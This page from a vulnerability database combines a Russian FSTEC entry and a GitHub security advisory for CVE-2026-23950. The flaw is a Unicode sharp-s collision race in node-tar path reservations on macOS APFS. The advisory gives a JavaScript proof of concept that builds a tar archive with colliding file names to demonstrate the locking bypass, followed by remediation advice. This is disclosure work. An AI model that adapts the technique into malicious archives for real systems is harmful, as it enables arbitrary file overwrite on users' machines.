Vulnerability-Lookup

BDU:2026-01713

Vulnerability from fstec - Published: 20.01.2026

Title

Уязвимость библиотеки node-tar программной платформы Node.js, позволяющая нарушителю получить доступ на изменение и запись произвольных файлов

Description

Уязвимость библиотеки node-tar программной платформы Node.js связана с подделкой межсайтовых запросов. Эксплуатация уязвимости может позволить нарушителю, действующему удаленно, получить доступ на изменение и запись произвольных файлов

Severity


                    
                      AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L

Vendor

ООО «Ред Софт», Node.js Foundation

Software Name

РЕД ОС (запись в едином реестре российских программ №3751), Node.js, node-tar

Software Version

8.0 (РЕД ОС), 20.20.0 (Node.js), до 7.5.3 включительно (node-tar), 22.22.0 (Node.js), 24.13.0 (Node.js), 25.3.0 (Node.js)

Possible Mitigations

Использование рекомендаций производителя: https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6 Для РедОС: https://redos.red-soft.ru/support/secure/uyazvimosti-red-os-8-0/uyazvimost-nodejs-tar-cve-2026-23950-8.0/?sphrase_id=1505061

Reference

https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6 https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w https://redos.red-soft.ru/support/secure/uyazvimosti-red-os-8-0/uyazvimost-nodejs-tar-cve-2026-23950-8.0/?sphrase_id=1505061

CWE

CWE-176, CWE-352, CWE-367

JSON

To clipboard

{
  "CVSS 2.0": "AV:N/AC:L/Au:N/C:P/I:C/A:P",
  "CVSS 3.0": "AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
  "CVSS 4.0": null,
  "remediation_\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": null,
  "remediation_\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435": null,
  "\u0412\u0435\u043d\u0434\u043e\u0440 \u041f\u041e": "\u041e\u041e\u041e \u00ab\u0420\u0435\u0434 \u0421\u043e\u0444\u0442\u00bb, Node.js Foundation",
  "\u0412\u0435\u0440\u0441\u0438\u044f \u041f\u041e": "8.0 (\u0420\u0415\u0414 \u041e\u0421), 20.20.0 (Node.js), \u0434\u043e 7.5.3 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e (node-tar), 22.22.0 (Node.js), 24.13.0 (Node.js), 25.3.0 (Node.js)",
  "\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e": "\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6\n\n\u0414\u043b\u044f \u0420\u0435\u0434\u041e\u0421:\nhttps://redos.red-soft.ru/support/secure/uyazvimosti-red-os-8-0/uyazvimost-nodejs-tar-cve-2026-23950-8.0/?sphrase_id=1505061",
  "\u0414\u0430\u0442\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f": "20.01.2026",
  "\u0414\u0430\u0442\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f": "20.05.2026",
  "\u0414\u0430\u0442\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438": "11.02.2026",
  "\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": "BDU:2026-01713",
  "\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "CVE-2026-23950, GHSA-r6q2-hw4h-h46w",
  "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430",
  "\u041a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u0434\u0430",
  "\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u041f\u041e": "\u0420\u0415\u0414 \u041e\u0421 (\u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0435\u0434\u0438\u043d\u043e\u043c \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u21163751), Node.js, node-tar",
  "\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u041e\u0421 \u0438 \u0442\u0438\u043f \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b": "\u041e\u041e\u041e \u00ab\u0420\u0435\u0434 \u0421\u043e\u0444\u0442\u00bb \u0420\u0415\u0414 \u041e\u0421 8.0  (\u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0435\u0434\u0438\u043d\u043e\u043c \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u21163751)",
  "\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 node-tar \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Node.js, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0438 \u0437\u0430\u043f\u0438\u0441\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432",
  "\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430": "\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435",
  "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "\u041d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u0430\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c Unicode (CWE-176), \u041c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u0430\u044f \u0444\u0430\u043b\u044c\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 (CWE-352), \u0421\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0433\u043e\u043d\u043a\u0438 Time-of-check Time-of-use (TOCTOU) (CWE-367)",
  "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 node-tar \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Node.js \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u043e\u0439 \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0438 \u0437\u0430\u043f\u0438\u0441\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432",
  "\u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": null,
  "\u041f\u0440\u043e\u0447\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f": null,
  "\u0421\u0432\u044f\u0437\u044c \u0441 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c\u0438 \u0418\u0411": "\u0414\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u043e\u0447\u043d\u044f\u044e\u0442\u0441\u044f",
  "\u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430",
  "\u0421\u043f\u043e\u0441\u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f": "\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f",
  "\u0421\u043f\u043e\u0441\u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438": "\u041f\u043e\u0434\u043c\u0435\u043d\u0430 \u043f\u0440\u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438, \u041c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u043e\u043a\u0430\u043c\u0438 \u0438 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c, \u041c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u0445",
  "\u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6\nhttps://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w\nhttps://redos.red-soft.ru/support/secure/uyazvimosti-red-os-8-0/uyazvimost-nodejs-tar-cve-2026-23950-8.0/?sphrase_id=1505061",
  "\u0421\u0442\u0430\u0442\u0443\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c",
  "\u0422\u0438\u043f \u041f\u041e": "\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430, \u0421\u0435\u0442\u0435\u0432\u043e\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e, \u041f\u0440\u0438\u043a\u043b\u0430\u0434\u043d\u043e\u0435 \u041f\u041e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c",
  "\u0422\u0438\u043f \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "CWE-176, CWE-352, CWE-367",
  "\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 2.0 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 9)\n\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 3.1 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 8,8)"
}

GHSA-R6Q2-HW4H-H46W

Vulnerability from github – Published: 2026-01-21 01:05 – Updated: 2026-03-16 14:23

Summary

Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS

Details

TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

AUTHOR: Tomás Illuminati

Details

A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.

// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
    paths =
      isWindows ?
        ['win32 parallelization disabled']
      : paths.map(p => {
          return stripTrailingSlashes(
            join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
          ).toLowerCase()
        })

In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:

bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .
drwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..
-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss
bash-3.2$

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});

Impact

This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.

Remediation

Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').

Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23950"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-176",
      "CWE-367"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-21T01:05:49Z",
    "nvd_published_at": "2026-01-20T01:15:57Z",
    "severity": "HIGH"
  },
  "details": "**TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (\u00df) Collisions on macOS APFS\n\n**AUTHOR**: Tom\u00e1s Illuminati\n\n### Details\n\nA race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `\u00df` and `ss`), allowing them to be processed in parallel. This bypasses the library\u0027s internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.\n\n```typescript\n// node-tar/src/path-reservations.ts (Lines 53-62)\nreserve(paths: string[], fn: Handler) {\n    paths =\n      isWindows ?\n        [\u0027win32 parallelization disabled\u0027]\n      : paths.map(p =\u003e {\n          return stripTrailingSlashes(\n            join(normalizeUnicode(p)), // \u003c- THE PROBLEM FOR MacOS FS\n          ).toLowerCase()\n        })\n\n```\n\nIn MacOS the ```join(normalizeUnicode(p)), ``` FS confuses \u00df with ss, but this code does not. For example:\n\n``````bash\nbash-3.2$ printf \"CONTENT_SS\\n\" \u003e collision_test_ss\nbash-3.2$ ls\ncollision_test_ss\nbash-3.2$ printf \"CONTENT_ESSZETT\\n\" \u003e collision_test_\u00df\nbash-3.2$ ls -la\ntotal 8\ndrwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .\ndrwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..\n-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss\nbash-3.2$ \n``````\n\n---\n\n### PoC\n\n``````javascript\nconst tar = require(\u0027tar\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst { PassThrough } = require(\u0027stream\u0027);\n\nconst exploitDir = path.resolve(\u0027race_exploit_dir\u0027);\nif (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });\nfs.mkdirSync(exploitDir);\n\nconsole.log(\u0027[*] Testing...\u0027);\nconsole.log(`[*] Extraction target: ${exploitDir}`);\n\n// Construct stream\nconst stream = new PassThrough();\n\nconst contentA = \u0027A\u0027.repeat(1000);\nconst contentB = \u0027B\u0027.repeat(1000);\n\n// Key 1: \"f_ss\"\nconst header1 = new tar.Header({\n    path: \u0027collision_ss\u0027,\n    mode: 0o644,\n    size: contentA.length,\n});\nheader1.encode();\n\n// Key 2: \"f_\u00df\"\nconst header2 = new tar.Header({\n    path: \u0027collision_\u00df\u0027,\n    mode: 0o644,\n    size: contentB.length,\n});\nheader2.encode();\n\n// Write to stream\nstream.write(header1.block);\nstream.write(contentA);\nstream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding\n\nstream.write(header2.block);\nstream.write(contentB);\nstream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding\n\n// End\nstream.write(Buffer.alloc(1024));\nstream.end();\n\n// Extract\nconst extract = new tar.Unpack({\n    cwd: exploitDir,\n    // Ensure jobs is high enough to allow parallel processing if locks fail\n    jobs: 8 \n});\n\nstream.pipe(extract);\n\nextract.on(\u0027end\u0027, () =\u003e {\n    console.log(\u0027[*] Extraction complete\u0027);\n\n    // Check what exists\n    const files = fs.readdirSync(exploitDir);\n    console.log(\u0027[*] Files in exploit dir:\u0027, files);\n    files.forEach(f =\u003e {\n        const p = path.join(exploitDir, f);\n        const stat = fs.statSync(p);\n        const content = fs.readFileSync(p, \u0027utf8\u0027);\n        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);\n    });\n\n    if (files.length === 1 || (files.length === 2 \u0026\u0026 fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {\n        console.log(\u0027\\[*] GOOD\u0027);\n    } else {\n        console.log(\u0027[-] No collision\u0027);\n    }\n});\n\n``````\n\n---\n\n### Impact\nThis is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `\u00df` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `\u00df` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive.\n\n---\n\n### Remediation\n\nUpdate `path-reservations.js` to use a normalization form that matches the target filesystem\u0027s behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase(\u0027en\u0027)` and then `toLocaleUpperCase(\u0027en\u0027)`.\n\nUsers who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.\n\n---",
  "id": "GHSA-r6q2-hw4h-h46w",
  "modified": "2026-03-16T14:23:26Z",
  "published": "2026-01-21T01:05:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23950"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

BDU:2026-01713

GHSA-R6Q2-HW4H-H46W

Details

PoC

Impact

Remediation

Tags

Sightings

Nomenclature

Related by attack behaviour